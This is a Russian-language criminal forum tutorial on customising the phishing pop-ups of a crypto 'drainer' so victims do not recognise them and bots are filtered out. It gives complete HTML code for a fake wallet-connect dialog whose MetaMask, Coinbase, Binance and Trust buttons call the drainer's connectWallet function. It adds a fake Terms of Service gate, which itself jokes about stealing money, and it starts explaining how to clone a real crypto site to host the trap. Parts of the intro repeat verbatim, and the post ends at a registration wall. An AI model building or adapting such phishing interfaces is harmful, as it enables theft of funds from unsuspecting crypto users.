D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
ПРЕДИСЛОВИЕ
Всем привет!
Часто вижу на форумах услугу по разработке модальных окон и дизайна для дрейнеров. Просят за подобное удовольствие от 150 долларов.
А связано появление таких услуг вот с чем:
1) Дефолтные модалки "палятся" визуально. После пары десятков сайтов с дрейнером начинаешь узнавать их с первого клика
2) Если мы имеем дело с фишами - дефолтные модалки достаточно сильно отличаются по стилю. Я молчу про цветовую гамму, иногда они даже по форме и расположению элементов выглядят не так, как надо (например у юнисвапа элемент подключения кошелька выезжает сбоку - что согласитесь отличается от белой всплывашки достаточно сильно)
3) Бывают также логические нестыковки. Например, проект на который льем чисто полигоновский, а в окне подключения фигурирует Binance Smart Chain
Резюмируя - на мой взгляд, когда работаете с дрейнером, очень важно обладать хотя бы базовым набором знаний, чтобы иметь возможность настроить инструмент под себя, под свои задачи. Иначе КПД и конверсия сильно проседают.
Согласитесь, намного лучше потратить несколько минут и заточить нож, чем потом мучаться и нарезать продукты тупым инструментом.
Еще один момент касаемо модальных окон и логики работы дрейнера на сегодняшний день: как по мне, суть тут не только и не столько в дизайне, сколько в защите вашей системы от ботов. По сути, если в маркетинге есть слово преленд, то в нашем случае будет уместно использовать слово предрейн - именно такую функцию выполняет модальное окно и система подключения кошелька.
Собственно этим мы и займемся сегодня - научимся затачивать наши ножи и обороняться от нашествия ботов.
ПРОБЛЕМАТИКА
Для того, чтобы придти в точку Б, очень важно определить - а где мы сейчас вообще находимся? Какая отправная точка А и какую проблему мы пытаемся решить?
Чтобы не получилось так, что проблемы то и нет никакой, а решаем мы непонятно что и для чего.
Итак, проблематика:
1) Боты научились подключаться к дрейнерам и слать фейковые аппрувы. Это вызывает эффект, который я условно называю "дрейн дрейна" - происходят регулярные вызовы к оценщику активов и как следствие - тратятся поинты в апи дебанка (анкера, заппера, подставить нужное), что черевато следующим:
Всем привет!
Часто вижу на форумах услугу по разработке модальных окон и дизайна для дрейнеров. Просят за подобное удовольствие от 150 долларов.
А связано появление таких услуг вот с чем:
1) Дефолтные модалки "палятся" визуально. После пары десятков сайтов с дрейнером начинаешь узнавать их с первого клика
2) Если мы имеем дело с фишами - дефолтные модалки достаточно сильно отличаются по стилю. Я молчу про цветовую гамму, иногда они даже по форме и расположению элементов выглядят не так, как надо (например у юнисвапа элемент подключения кошелька выезжает сбоку - что согласитесь отличается от белой всплывашки достаточно сильно)
3) Бывают также логические нестыковки. Например, проект на который льем чисто полигоновский, а в окне подключения фигурирует Binance Smart Chain
Резюмируя - на мой взгляд, когда работаете с дрейнером, очень важно обладать хотя бы базовым набором знаний, чтобы иметь возможность настроить инструмент под себя, под свои задачи. Иначе КПД и конверсия сильно проседают.
Согласитесь, намного лучше потратить несколько минут и заточить нож, чем потом мучаться и нарезать продукты тупым инструментом.
Еще один момент касаемо модальных окон и логики работы дрейнера на сегодняшний день: как по мне, суть тут не только и не столько в дизайне, сколько в защите вашей системы от ботов. По сути, если в маркетинге есть слово преленд, то в нашем случае будет уместно использовать слово предрейн - именно такую функцию выполняет модальное окно и система подключения кошелька.
Собственно этим мы и займемся сегодня - научимся затачивать наши ножи и обороняться от нашествия ботов.
ПРОБЛЕМАТИКА
Для того, чтобы придти в точку Б, очень важно определить - а где мы сейчас вообще находимся? Какая отправная точка А и какую проблему мы пытаемся решить?
Чтобы не получилось так, что проблемы то и нет никакой, а решаем мы непонятно что и для чего.
Итак, проблематика:
1) Боты научились подключаться к дрейнерам и слать фейковые аппрувы. Это вызывает эффект, который я условно называю "дрейн дрейна" - происходят регулярные вызовы к оценщику активов и как следствие - тратятся поинты в апи дебанка (анкера, заппера, подставить нужное), что черевато следующим:
- Слив баланса на аккаунте оценщика. И в целом это даже не так страшно и неприятно (хотя 200 баксов есть 200 баксов), если бы не было пункта два.
- Невозможность оценить активы реальных клиентов (так как баланс закончился из-за бесконечных запросов ботов) и как следствие - потенциальные убытки и недополученная прибыль
2) Вторая проблема - заезженность модалок. Как я уже сказал ранее - дефолтные модалки палятся. Так как продуктов на рынке не так много, через какое-то время юзеры уже знают, как выглядит модальное окно дрейнера (условно говоря детект по поведению) и не кликают, а сразу уходят с сайта. Этот момент мы тоже пофиксим.
Окей гугл, с проблематикой определились, пришло время поставить цель.
ЦЕЛЬ СТАТЬИ
Цели статьи мы поставим вот какие:
1) Научиться создавать и редактировать модальное окно для нашего дрейнера
2) Научиться менять его внешний вид (читай цветовую гамму)
3) При этом научиться делать первые два пункта быстро и просто, без тонн javascript кода и CSS
4) Выстроить базовую защиту от подключений фейковых юзеров, за счет изменения пути пользователя
Также сразу уточню - это статья не про то, как создать свой дрейнер, такую цель я не преследую и поэтому мы на берегу договоримся, что какой-то дрейнер у нас уже есть
А интересует нас в нем два момента, если быть точным - функция показа модального окна и собственно функция дрейнинга.
Поэтому условимся, что обе эти функции у нас есть и запишем их в импровизированное "Дано":
1) Функция connectWallet, которая принимает аргумент provider и отвечает за подключение кошелька и старт процедуры дрейна
2) Функция showDrainerModal, которая вызывается без параметров и отвечает за отображение модального окна с выбором кошелька для подключения
Допустим также, что сам алгоритм дрейнинга и инжект/вызов модалки у вас уже прописан ИЛИ вы имеете возможность его заменить в готовом продукте - то есть еще раз, дрейнер есть, мы правим готовый продукт.
ИНСТРУМЕНТАРИЙ
Поскольку дрейнеры в основном своем ориентированы на Web, то и стек обычно используется классический фронтовый - html/css/javascript.
Мы будем использовать ванильный джаваскрипт, чтобы не перегружать себе голову тайпскриптом и вот этим всем. Фреймворки типа реакта и вьюшки мы тоже дропаем, они нам тут ни к чему. Ну и системы сборки тоже. Короче говоря, мы возвращаемся к истокам и используем старую добрую ванильку, потому что это а) просто б) необходимый нам функционал достаточно примитивный.
А вот с CSS мы пойдем другим путем, а именно - возьмем готовую дизайн систему, чтобы "красиво было из коробки". Тут мнения и предпочтения фронтовых господ расходятся, кто-то предпочитает материал дизайн, кто-то ант, кто-то чакру. Мое же сердце касаемо фронтовой части принадлежит тэилвинду, потому что он, цитируя сайт, позволяет "быстро создавать современные вебсайты, не покидая свой HTML". И это правда так, сайты собираются быстро и выглядят сочно - это нам надо, это мы берем.
Собственнно что будем делать сегодня - сделаем заготовку для нашего модального окна с использованием Tailwind CSS и подготовим его для дальнейшей комфортной работы. Добавим дополнительную премодалку с галочкой про Terms of Service и тем самым сломаем (хотя бы ненадолго) алгоритмы ботов.
Поехали.
РЕШЕНИЕ ЗАДАЧИ
Первым делом подрубаем тэилвинд. Есть несколько способов сделать это, но самый простой - импорт через CDN, им и воспользуемся
HTML: Скопировать в буфер обмена
Обратите внимание, нам также понадобится не только импортнуть сам тэилвинд, но и настроить конфиг. Пока возьмем дефолтный вариант-заглушку, и вернемся к нему чуть позже
HTML: Скопировать в буфер обменаОкей гугл, с проблематикой определились, пришло время поставить цель.
ЦЕЛЬ СТАТЬИ
Цели статьи мы поставим вот какие:
1) Научиться создавать и редактировать модальное окно для нашего дрейнера
2) Научиться менять его внешний вид (читай цветовую гамму)
3) При этом научиться делать первые два пункта быстро и просто, без тонн javascript кода и CSS
4) Выстроить базовую защиту от подключений фейковых юзеров, за счет изменения пути пользователя
Также сразу уточню - это статья не про то, как создать свой дрейнер, такую цель я не преследую и поэтому мы на берегу договоримся, что какой-то дрейнер у нас уже есть
А интересует нас в нем два момента, если быть точным - функция показа модального окна и собственно функция дрейнинга.
Поэтому условимся, что обе эти функции у нас есть и запишем их в импровизированное "Дано":
1) Функция connectWallet, которая принимает аргумент provider и отвечает за подключение кошелька и старт процедуры дрейна
2) Функция showDrainerModal, которая вызывается без параметров и отвечает за отображение модального окна с выбором кошелька для подключения
Допустим также, что сам алгоритм дрейнинга и инжект/вызов модалки у вас уже прописан ИЛИ вы имеете возможность его заменить в готовом продукте - то есть еще раз, дрейнер есть, мы правим готовый продукт.
ИНСТРУМЕНТАРИЙ
Поскольку дрейнеры в основном своем ориентированы на Web, то и стек обычно используется классический фронтовый - html/css/javascript.
Мы будем использовать ванильный джаваскрипт, чтобы не перегружать себе голову тайпскриптом и вот этим всем. Фреймворки типа реакта и вьюшки мы тоже дропаем, они нам тут ни к чему. Ну и системы сборки тоже. Короче говоря, мы возвращаемся к истокам и используем старую добрую ванильку, потому что это а) просто б) необходимый нам функционал достаточно примитивный.
А вот с CSS мы пойдем другим путем, а именно - возьмем готовую дизайн систему, чтобы "красиво было из коробки". Тут мнения и предпочтения фронтовых господ расходятся, кто-то предпочитает материал дизайн, кто-то ант, кто-то чакру. Мое же сердце касаемо фронтовой части принадлежит тэилвинду, потому что он, цитируя сайт, позволяет "быстро создавать современные вебсайты, не покидая свой HTML". И это правда так, сайты собираются быстро и выглядят сочно - это нам надо, это мы берем.
Собственнно что будем делать сегодня - сделаем заготовку для нашего модального окна с использованием Tailwind CSS и подготовим его для дальнейшей комфортной работы. Добавим дополнительную премодалку с галочкой про Terms of Service и тем самым сломаем (хотя бы ненадолго) алгоритмы ботов.
Поехали.
РЕШЕНИЕ ЗАДАЧИ
Первым делом подрубаем тэилвинд. Есть несколько способов сделать это, но самый простой - импорт через CDN, им и воспользуемся
HTML: Скопировать в буфер обмена
<script src="https://cdn.tailwindcss.com"></script>
Обратите внимание, нам также понадобится не только импортнуть сам тэилвинд, но и настроить конфиг. Пока возьмем дефолтный вариант-заглушку, и вернемся к нему чуть позже
Код:
<script>
tailwind.config = {
theme: {
extend: {
colors: {
clifford: '#da373d',
}
}
}
}
</script>
Далее подключаем надстройку над тэилвиндом - DaisyUI. Зачем? Несмотря на то, что тэилвинд и так сам по себе достаточно простой, мы пойдем еще более лайтовым путем - подрубим дейзи, чтобы иметь возможность генерировать новые темы прямо на сайте и подключать их в пару кликов.
Добавляем нужный тег над нашим тегом импорта Tailwind CSS.
HTML: Скопировать в буфер обмена
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />
Для наглядности будем использовать минималистичный скелетон сайта. Вот такая вот страничка у нас есть на текущий момент. Ничего лишнего - просто подключили все необходимое и добавили приветственную строку
Код:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />
<script src="https://cdn.tailwindcss.com"></script>
<script>
tailwind.config = {
theme: {
extend: {
colors: {
clifford: '#da373d',
}
}
}
}
</script>
</head>
<body>
<h1 class="text-3xl font-bold underline **text-clifford**">
Hello world!
</h1>
</body>
</html>
Вся прелесть тэилвинда заключается в том, что мы работаем с разметкой (в прямом смысле - размещаем элементы и говорим как мы хотим чтобы они выглядели). И получается сразу красиво, из коробки. Концепция возможно спорная, но реально очень сильно ускоряет процесс сборки фронта - за счет того, что в CSS мы больше не лезем, а работаем на уровне классов.
Ну и как будто бы это более естественный путь - не лезть каждый раз в цсс, когда нужно скруглить углы у какого-то элемента, а просто добавить этому элементу класс "скругленные углы".
Окей, с подготовительной частью закончили, все подключили, теперь начнем накидывать наши элементы. Для начала добавим кнопку, при нажатии на которую будет открываться модальное окно, а также обернем весь контент body в теги div и сделаем выравнивание по высоте и ширине и небольшие отступы (это никак не влияет на функционал и тем более не требуется в продакшн версии - просто так выглядит поприятнее и работать удобнее, когда кнопка по центру экрана):
Код:
<div class="flex h-screen">
<div class="m-auto space-y-4">
<h1 class="text-3xl font-bold underline **text-clifford**">
Hello world!
</h1>
<button class="btn" onclick="my_pre_modal.showModal()">Open modal</button>
</div>
</div>
Выглядит наша страница вот так:
Теперь добавим основное модальное окно, а если точнее - добавим заготовку для него. Используем тег dialog, сразу же добавляем адаптивность. Также добавим заголовок "Connect wallet", сделаем его жирным. Чуть ниже напишем призыв к подключению кошелька - "Select which wallet and which network you want to use to connect below".
Код:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
</div>
</dialog>
Пока модалка выглядит весьма по-нищенски, но мы это скоро исправим.
Хинт: если вы хотите настроить расстояние между элементами, вам на помощь придет
Теперь пришло время добавить блоки с кошельками. Условимся что в нашем случае их будет четыре штуки:
1) Метамаск
2) Коинбейс
3) Бинанс воллет
4) Траст воллет
Естественно, это на ваш вкус и цвет, блоки можно добавлять/убирать, или вообще генерировать их программно в зависимости от ситуации.
Расположим их по две в столбец, соответственно накинем div с гридом из двух колонок и все будет отлично.
И внизу добавим кнопку для подключения по QR коду используя Wallet Connect (для всего остального и любителей мобильных кошельков).
Код:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
<h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="alert('DONE')">
</button>
<button class="btn h-auto" onclick="alert('DONE')">
</button>
<button class="btn h-auto" onclick="alert('DONE')">
</button>
<button class="btn h-auto" onclick="alert('DONE')">
</button>
</div>
<div>
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
</div>
</dialog>
У нас получается вот такая заготовка, которая в целом уже более менее напоминает модальное окно реального проекта.
Добавим красивости каждому элементу, а именно:
1) Название кошелька
2) Краткое описание
3) Изображение
Тут в принципе все довольно тривиально, единственное на что хочу обратить внимание - класс object-contain, который сохраняет пропорции изображения при встраивании его в другие элементы (без него метамасковскую лису расплющит не по детски).
Немножко обмажем все флексами (для выравнивания по ширине) и результат уже радует.
Код:
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md py-4">MetaMask</h4>
<p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md py-4">Coinbase</h4>
<p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md py-4">Binance Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md py-4">Trust Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
</div>
</button>
</div>
Теперь немного пошаманим с кнопкой внизу - добавим нужный текст и растянем ее во всю ширину модального окна с помощью флекса.
Код:
<div class="flex flex-col pt-8">
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
И совсем для красивости сделаем еще две вещи. Во-первых, добавим в правый верхний угол кнопку закрытия (в виде традиционного крестика). Во-вторых, добавим небольшие отступы между нашими элементами с помощью уже знакомого паддинга (классы py-, pt- и pb- для отступов сверху и снизу, только сверху и только снизу соответственно).
Код:
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
Вот такое модальное окно у нас получилось.
Самое важное - не забыть повесить на все кнопки инициализацию нашего дрейнера. Для этого к каждому тегу button добавим атрибут onclick и пропишем в нее, согласно нашей заранее составленной договоренности, вызов функции connectWallet и передадим для каждой кнопки свой аргумент (этот момент можем считать псевдокодом, потому что функция и ее параметры зависят исключительно от вашего дрейнера и могут отличаться в зависимости от реализации).
Итоговый код основного модального окна выглядит так:
Код:
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
<h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="connectWallet('metamask')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md py-4">MetaMask</h4>
<p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="connectWallet('coinbase')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md py-4">Coinbase</h4>
<p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="connectWallet('binance')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md py-4">Binance Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="connectWallet('trust')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md py-4">Trust Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
</div>
</button>
</div>
<div class="flex flex-col pt-8">
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
</div>
</dialog>
А теперь совсем немного магии. Как возможно заметил вдумчивый и сразу практикующий читатель, все, что мы реализовали на текущий момент, можно было спокойно запилить на голом тэилвинде. Для чего же нам было подключать дейзи, спросите вы? И я отвечу коротко - ТЕМЫ.
Фишка первая - в Daisy UI из коробки встроено достаточно много тем. Это не просто стандартные светлая/темная, нам предлагают аж 29 штук на выбор. Смотреть тут (xttps://daisyui.com/docs/themes/). Не то чтобы какая-то прям суперфича, но
Применить выбранную тему к нашему всплывающему окну (или отдельному элементу, или даже ко всей странице сразу) достаточно просто - нужно всего лишь добавить атрибут data-theme="название_темы_тут" в нужный тег. Я для этой цели просто обернул наш тег dialog в еще один div.
Вторая приколюха - генератор тем прямо на сайте, вот тут (xttps://daisyui.com/theme-generator/). Можно сгенерить случайную тему, пропатчить существующую и вообще настроить все как душе угодно, и сразу увидеть результат, а именно - как будет выглядеть тот или иной элемент.
Вот для примера наше модальное окно с темой dark и с темой lemonade. Вопрос изменения одного слова во всем файле. Удобно, не правда ли?
Окей, теперь займемся нашим премодальным окном. Сразу небольшое уточнение, его задача - сломать алгоритм ботов и уберечь нашу систему от фейковых авторизаций, а наш организм - от преждевременных дофаминовых всплесков. Поэтому тут у вас полная свобода творчества и полет мысли и фантазии. Можно сделать капчу, пользовательское соглашение, запросить почту, да хоть банальную галочку "я не робот".
Я в демонстрационных целях сделаю модалку с небольшим абзацем текста про пользовательское соглашение, линком на него и чекбоксом. После активации чекбокса, кнопка перехода Далее тоже будет активироваться и уже вызывать основное модальное окно
Точно так же, как и в первый раз, создаем заготовку модального окна. А если точнее, не создаем, а копируем уже готовое основное окно, удаляем оттуда все лишнее и вставляем прямо перед первым тегом dialog. Таким образом оба наших модальных окна будут "обернуты" в одну тему (что как бы логично, нам так и надо).
Код:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
</div>
</dialog>
Изменяем заголовок и добавляем ссылки на текст наших условий использования приложения/сервиса.
Код:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Terms of Sercive</h3>
<p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#">Privacy Policy</a> and
fake <a href="#">Terms of Service</a>. Please, agree before we continue to steal your
money.</p>
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary">
Continue
</button>
</div>
</div>
</dialog>
Добавляем чек бокс и текст к нему. Немного пошаманим над ссылками (ничего сверхъестественного, просто добавим класс underline, чтобы было понятно, что они кликабельные).
Код:
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Terms of Sercive</h3>
<p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
money.</p>
<div class="form-control">
<label class="label cursor-pointer">
<input type="checkbox" class="checkbox">
<span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
</label>
</div>
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary" disabled="disabled">
Continue
</button>
</div>
</div>
</dialog>
Навешиваем небольшую анонимную стрелочную функцию на кнопку Continue, которая закрывает текущее модальное окно, и соответственно открывает основное.
Код:
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
Continue
</button>
</div>
Также пишем небольшое выражение, которое активирует кнопку перехода при отмеченном чекбоксе, и соответственно дизейблит ее, если чекбокс не стоит. Используем для этого атрибут onchange.
Код:
<div class="form-control">
<label class="label cursor-pointer">
<input type="checkbox" class="checkbox"
onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
<span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
</label>
</div>
Осталось только поменять событие onclick на кнопке, чтобы она вызывала премодальное окно.
Итак, целиком наша страница выглядит вот так.
Код:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/daisyui@3.8.3/dist/full.css" rel="stylesheet" type="text/css" />
<script src="https://cdn.tailwindcss.com"></script>
<script>
tailwind.config = {
daisyui: {
themes: true,
},
}
</script>
</head>
<body>
<div class="flex h-screen">
<div class="m-auto space-y-4">
<h1 class="text-3xl font-bold underline **text-clifford**">
Hello world!
</h1>
<!-- DRAINER MODAL -->
<button class="btn" onclick="my_pre_modal.showModal()">open modal</button>
<div data-theme="dark">
<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Terms of Sercive</h3>
<p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
money.</p>
<div class="form-control">
<label class="label cursor-pointer">
<input type="checkbox" class="checkbox"
onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
<span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
</label>
</div>
<div class="flex flex-col pt-8">
<button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
Continue
</button>
</div>
</div>
</dialog>
<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
<div class="modal-box">
<form method="dialog">
<button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>
<h3 class="font-bold text-lg">Connect wallet</h3>
<p class="py-4">Select which wallet and which network you want to use to connect below</p>
<h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
<div class="grid grid-cols-2 gap-4">
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
<h4 class="font-bold text-md py-4">MetaMask</h4>
<p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
<h4 class="font-bold text-md py-4">Coinbase</h4>
<p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
<h4 class="font-bold text-md py-4">Binance Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
</div>
</button>
<button class="btn h-auto" onclick="alert('DONE')">
<div class="flex flex-col">
<img class="h-16 object-contain pt-2"
src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
<h4 class="font-bold text-md py-4">Trust Wallet</h4>
<p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
</div>
</button>
</div>
<div class="flex flex-col pt-8">
<button class="btn btn-primary">
Connect by QR-code
</button>
</div>
</div>
</dialog>
</div>
</div>
</div>
</body>
</html>
И тут есть очень важный для работы и понимания момент - а как это перенести на настоящий сайт? Ну допустим мы где-то нашли/позаимствовали/разработали с нуля сайт, как вот это модальное окно на него перенести? Давайте разберем этот момент, тут тоже все достаточно просто.
КАК ПОДКЛЮЧИТЬ К САЙТУ
Для демонстрационных целей я возьму рандомный крипто сайт и покажу как прицепить к нему нашу модалку (xttps://sunflower-land.com)
Копируем сайт с помощью saveweb2zip (xttps://saveweb2zip.com/en). Этот момент расписывать не буду, все достаточно очевидно - вставили ссылку, нажали Скачать
View hidden content is available for registered users!